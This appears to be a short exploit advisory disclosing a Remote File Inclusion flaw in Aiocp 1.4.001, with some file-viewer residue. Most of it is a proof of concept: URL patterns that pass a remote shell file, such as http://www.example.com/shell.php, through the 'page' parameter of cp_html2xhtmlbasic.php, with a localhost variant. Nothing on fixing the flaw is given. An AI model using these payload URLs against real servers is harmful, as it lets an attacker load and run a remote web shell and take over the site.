33 lines
No EOL
628 B
Text
33 lines
No EOL
628 B
Text
###########################################
|
|
|
|
#
|
|
|
|
# Aiocp 1.4.001 Remote File Inclusion vulnerability
|
|
|
|
#
|
|
|
|
# Found by : Hadi Kiamarsi
|
|
|
|
#
|
|
|
|
# Contact : hadikiamarsi [at] hotmail.com
|
|
|
|
#
|
|
|
|
# Download : http://sourceforge.net/projects/aiocp/files/aiocp/AIOCP%201.4.001/aiocp_1_4_001.zip/download
|
|
|
|
#
|
|
|
|
###########################################
|
|
|
|
PoC :
|
|
|
|
http://[TARGET]/[PATH]/public/code/cp_html2xhtmlbasic.php?page=[SHELL]
|
|
|
|
example :
|
|
|
|
http://[TARGET]/[PATH]/public/code/cp_html2xhtmlbasic.php?page=http://www.example.com/shell.php
|
|
|
|
local Example :
|
|
|
|
http://localhost/root/public/code/cp_html2xhtmlbasic.php?page=http://127.0.0.1/shell.php |